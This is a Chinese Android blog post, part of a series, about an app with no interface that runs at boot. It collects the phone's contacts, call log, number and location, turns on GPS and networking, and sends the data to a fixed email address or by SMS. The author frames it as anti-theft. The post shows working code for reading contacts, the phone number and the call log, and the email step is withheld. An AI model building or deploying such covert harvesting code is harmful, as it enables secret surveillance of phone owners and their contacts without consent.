- 浏览: 59033 次
- 性别:
- 来自: 南京
最新评论
-
cuixuelei:
图形中RChart Demo 字样,怎么去掉
android饼状图表 -
Mr.Cheney:
代码太乱了
gallery加载大量图片时内存溢出的解决方法(一) -
ygswine:
最后一点是否可以在发送QQ邮箱,成功后程序关闭,在Activi ...
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(获取联系人和电话号码、通话记录) -
zxuenet:
erwin_king 写道因为这个时收费的,所以会有的demo ...
android饼状图表 -
mvpstevenlin:
博主,麻烦发一份我学习吧 1577360984@qq.com, ...
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(获取联系人和电话号码、通话记录)
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(获取联系人和电话号码、通话记录)
- 博客分类:
- 移动android开发
首先声明者只是一个个人开发的个人使用的小程序,本意是为了防止手机被盗而写的,由于程序需要在不为人知的情况下采集信息然后发送,所以程序没有界面。整个程序的大概思路是这样的
手机开始时:
1、获取手机联系人信息、通话记录、手机号码
2、检查手机gps状态:关闭状态则开启 ,然后获取手机的所在地
3、检查手机网络开关,关闭则开启
4、将采集的信息发送到指定邮箱中(本文以qq邮箱实现,由于代码太多这里就不贴出来了,有需要的联系我)
5、手机网络还原到初始状态、关闭gps(尚未实现,有实现的朋友可以一起研究一下)
添加权限
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
下面我们就按部就班来实现我们的想法:
1、获取联系人、电话号码、通话记录:
/**
* 获取本机号码
* @param context
* @return
*/
public static String getLocalNumber() {
TelephonyManager mTelephonyMgr;
mTelephonyMgr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
return mTelephonyMgr.getLine1Number();
}
/**
* 获取联系人
* @param context
* @return
*/
public static String getContact(){
ContentResolver cr = context.getContentResolver();
//取得电话本中开始一项的光标
Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
String string ="";
while (cursor.moveToNext())
{
// 取得联系人名字
int nameFieldColumnIndex = cursor.getColumnIndex(PhoneLookup.DISPLAY_NAME);
String name = cursor.getString(nameFieldColumnIndex);
string += ("联系人:"+name+", 电话号码:");
// 取得联系人ID
String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "
+ contactId, null, null);
// 取得电话号码(可能存在多个号码)
int i=0;
while (phone.moveToNext())
{
String strPhoneNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
if(i==0){
string += (strPhoneNumber);
}else{
string += ("," + strPhoneNumber);
}
i++;
}
string += "\n";
phone.close();
System.out.println("persion:"+string);
}
cursor.close();
return string;
}
/**
*获取通话记录
*/
public static List<Call> getCallList() {
List<Call> callList = new ArrayList<Call>();
int type;
Date date;
String time = "";
String telName = "";
String telNo = "";
ContentResolver cr = context.getContentResolver();
final Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,
new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,
CallLog.Calls.TYPE, CallLog.Calls.DATE,
CallLog.Calls.DURATION }, null, null,
CallLog.Calls.DEFAULT_SORT_ORDER);
for (int i = 0; i < cursor.getCount(); i++) {
Call call = new Call();
cursor.moveToPosition(i);
telName = cursor.getString(1);
telNo = cursor.getString(0);
type = cursor.getInt(2);
SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
date = new Date(Long.parseLong(cursor.getString(3)));
time = sfd.format(date);
// call.setLongTime(formatDuring(Long.valueOf(cursor.getString(4))));
// String callDate = getdays(Long.parseLong(cursor.getString(3)));
if (telName != null) {
call.setName(telName);
} else {
call.setName("未知联系人");
}
call.setNumber(telNo);
call.setTime(time);
if (CallLog.Calls.INCOMING_TYPE == type) {
call.setType("接听");
} else if (CallLog.Calls.OUTGOING_TYPE == type) {
call.setType("拨出");
} else if (CallLog.Calls.MISSED_TYPE == type) {
call.setType("未接");
}
callList.add(call);
}
return callList;
}
private String formatDuring(long mss) {
long hours = mss / (60 * 60);
long minutes = (mss % (1000 * 60 * 60)) / 60;
long seconds = (mss % (1000 * 60));
return hours + ":" + minutes + ":" + seconds;
}
private String getdays(long callTime) {
String value = "";
long newTime = new Date().getTime();
long duration = (newTime - callTime) / (1000 * 60);
if (duration < 60) {
value = duration + "分钟前";
} else if (duration >= 60 && duration < DAY) {
value = (duration / 60) + "小时前";
} else if (duration >= DAY && duration < DAY * 2) {
value = "昨天";
} else if (duration >= DAY * 2 && duration < DAY * 3) {
value = "前天";
} else if (duration >= DAY * 7) {
SimpleDateFormat sdf = new SimpleDateFormat("M月dd日");
value = sdf.format(new Date(callTime));
} else {
value = (duration / DAY) + "天前";
}
return value;
}
/**
*实体类
*/
public class Call {
private String name;
private String number;
private String time;
private String type;
}
评论
发表评论
-
android 使用des算法
2012-02-09 12:52 1925转自:http://www.linuxidc.com/Linu ... -
Toast显示图片
2012-02-02 12:56 1420转自:http://blog.csdn.net/ling ... -
文字中间加横线效果
2012-02-02 11:00 1823priceTV.setText("价格:2.00 ... -
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)
2011-11-08 12:51 1296static Uri uri = Uri.parse(&qu ... -
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)
2011-11-08 12:48 1544public static String getCityNam ... -
Android Activity界面切换添加动画特效
2011-06-14 13:48 1177在Android 2.0之后有了overridePending ... -
android 权限介绍(二)
2011-06-02 17:08 981SYSTEM_ALERT_WINDOW 允许 ... -
android 权限介绍(一)
2011-06-02 17:00 795Manifest.permission 这个类定义了andro ... -
编写高效的Android代码(提高运行速度,节省电量)
2011-06-02 16:28 1255编写高效的Android代码( ... -
[整理]Selector、shape详解
2011-06-02 15:15 4132Selector、shape详解(一) Selector的结 ... -
[转帖]Android自定义Activity漂亮跳转效果
2011-05-31 20:10 1242Android自定义Activity漂亮跳转效果 ... -
gallery加载大量图片时内存溢出的解决方法(三)
2011-05-31 19:14 20036、ImageAdapter public class Im ... -
gallery加载大量图片时内存溢出的解决方法(二)
2011-05-31 18:56 2509Paint deafalutPaint = new Paint ... -
gallery加载大量图片时内存溢出的解决方法(一)
2011-05-31 18:55 4404这只是我以前开始搞android事留下的代码,发现还是存在问题 ... -
ListView学习(三) 加载视野内的数据
2011-05-31 17:13 1741在滑动的过程中,只有在视野中的item才会加载数据,其他的其实 ... -
ListView学习(二) 点击条目隐藏展开正文
2011-05-28 00:00 3782本篇是listview条目点击展开或者隐藏内容,本文参照了an ... -
[整理] 操作通话记录(一)
2011-05-25 11:31 1845/* *为了方便后面页面的封装,这里定义了一个实体类 ... -
[整理] 操作通话记录(二)
2011-05-25 11:25 1082//处理时间 public String for ... -
android饼状图表
2011-05-15 15:12 4147相信图表再很多统计应 ... -
ListView学习(一) 滑动分页时底部显示进度条
2011-05-15 14:24 2614我们在使用listview时难免会遇到分页的情况,既然是分页, ...
相关推荐
服务器开机自动发送短信到手机! reg add hkcu\software\microsoft\windows\currentversion\run /v feixin /t reg_sz /d c:\windows\feixin.bat /f :: sno 为自己的手机号;psw 为飞信密码 ;msg 为消息 set sno=...
2)当公网IP变化时或定时时间到时自动发送邮件到指定邮箱。3)可以设置发送邮箱账号、接收邮箱账号及密码。SMTP服务器及端口号可设置。支持QQ、163等主流SMTP服务器。4)支持普通SMTP(25端口)及SSL SMTP(465端口...
隐私空间:可以设置保密的联系人,与保密联系人之间的短信与通话记录就会被加密起来。 题外话:在研究开机启动的时候,是在开机启动广播中结束360进程,然后自己创建动态广播,结果,测试时发现安装测试程序后,...
加入开机运行,便可在后台监控电脑 定时截屏上传到指定邮箱
分析短信内容,若包含敏感词则屏蔽,保存垃圾短信到垃圾箱中(设计一个垃圾短信的数据库,除了_id外,还包含手机号和短信内容,垃圾短信的收件时间三个字段)。 ①垃圾箱(垃圾箱表)(读取数据库中的信息,用...
防止手机丢失,开机自启检测sim卡是否为原来那张,不是则想一个号码发送短信.rar,太多无法一一验证是否可用,程序如果跑不起来需要自调,部分代码功能进行参考学习。
3.每次开机程序自动运行,检测到别人如果使用你的手机,自动把他的通话记录,跟gps坐标发送到绑定好的手机号上。 4.知道用你手机人的手机号,最近通话记录,gps坐标后,再自己想办法找到这人吧。 具体代码 1.取sim...
给单片机和GSM模块进行上电即可进行发送短信。
代码实现了一个屏幕截图应用程序,可以定时截取屏幕,并将截图通过电子邮件发送给指定的收件人。以下是代码的主要功能: 通过使用pyautogui库来进行屏幕截图。 使用smtplib库来发送电子邮件,以将截图发送给收件人...
利用电脑程序开机,针对电源键坏的小米手机,流程简单,立刻开机
可以把短信内容保存到指定链接,也可以保存到手机txt文件中 HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.xxxxxxxxx.com/xxxx?nr=" + msg.Body.ToString() + "&ld=" + msg.From....
Qualcomm手机平台按下电源键后的完整开机流程图
智能手机发展史及手机开机电路简介
(1) 有开机、关机键、信息发送键、十个数字键、退格键、查询预存电话号码的功能键,以及向前、向后翻页键; (2) 用一个矩形窗口显示拨号数字或预存电话号码; (3) 预存电话号码最多20个,每个号码应有一行汉字...
安卓开发实现开机启动跳转到指定activity
一款很漂亮的开机画面,手机需要ROOT之后用RE文件管理器找到 system/media替换里面的bootanimation.zip(下载后改成这个名字,不能解压)
unity打包安卓实现开机自启。本项目源码需要androidStudio4.1打开, unity使用方法:解压后把"androidAutoStar\app\build\outputs\aar\app-debug.aar"文件导入到unity项目中, 打包成功后安装到手机运行后重启手机,...
可更换手机的开机动画教程在http://www.candou.com/tutorial/skills/2012-08-03/447810.shtml
手机开机原理图讲解,包含基本缩小,开机电路分析,时钟电路,,开机上电时序,充电电路分析,电池供电分析,etc
强制修改开机密码的源码的方式发送到